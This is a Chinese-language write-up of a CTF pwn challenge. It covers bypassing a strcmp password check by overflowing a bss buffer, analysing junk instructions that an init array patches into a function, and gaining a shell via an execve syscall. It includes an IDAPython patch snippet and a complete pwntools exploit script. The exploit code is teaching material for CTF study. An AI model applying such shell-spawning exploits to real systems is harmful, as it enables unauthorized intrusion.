查看保护：
查看ida：
这边其实看反汇编没啥大作用，需要自己动调。
但是前面的绕过strcmp还是要看一下的。
解题：
这里是用linux自带的产生随机数的文件urandom来产生一个随机密码，然后让我们输入密码，用strcmp检查password是否与checkpass一样。我们可输入的字节数为0x110。
这里可以看出来我们的输入其实是存到bss段里了，而password距离checkpass也就0x100，所以我们的输入是可以覆盖checkpass的。
但是全题就这一个输入的地方，所以要考虑很多才能写好payload。
输入完之后进入level
这里会把我们的输入存入s中，在check中进行异或操作，再进入level2。
ida没什么好讲的，动调才是重点。
首先，你在level2打断点进如level2了之后就会发现这里跟ida汇编里是不一样的。
ida里面是这样的
完全不一样
这里是因为程序对level2进行了修改，所以我们即使在静态调试看机器码也看不出来，只有动调才能知道level2被修改了。
问题就出在初始化那里
他这里自己自定义了一个初始化数组
对level2是又一定影响的，而且这里还用了花指令，从地址红色可以看出这些地方解析有争议。
事实上，其实我们用不着去了解为啥level2被改，也用不着在ida里把level2给改回来（在ida里修改机器码是影响不了elf文件的，只是为了分析），直接看动调就行了，动调是啥就是啥。
但既然有这个点就说一下。
我们先看动调出来的
对机器码敏感的应该很快就可以看出来，\x57对应push di，而\x56对应push si，后面的也可以对应得上（这里是人为注入机器码形成花指令，有些数据是干扰的），那就是题目引导你去把这里的机器码改进level2中。
然后排除干扰数据修改level2
import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:idaapi.put_qword(addr,i)addr+=8
说了那么多，感觉都不如直接看动调来得容易，毕竟比赛的时候太难想到了。
在执行jmp rbx之前，无论输入啥，在大多数情况下rdi里面会储存我们输入的字符串的开头，rsi为0，rdx为0，rax为输出的字节数，rip为rdi+8并可以控制，如果此时我们令rdi为/bin/sh，rip为syscall就可以进行系统调用execve。这样就出了。
完整exp：
from pwn import*
context(log_level='debug')
p=process('./preinit')list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是调用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()补充点1：
在我们调试的时候可能会认为程序卡住了，比如下图
其实这是因为rep stosb的原因，准确的说是rep，他会根据cx寄存器里的值进行重复操作，比如这里是rcx=0x50，他就会进行0x50次操作，重复完之后会接着进行下一步。
补充点2：
像刚刚的操作在ida没法修改elf文件的机器码
补充点3：
在修改level2的时候可能会遇到这种情况
那就鼠标选中要重新分析的范围
按c重新分析
就可以了
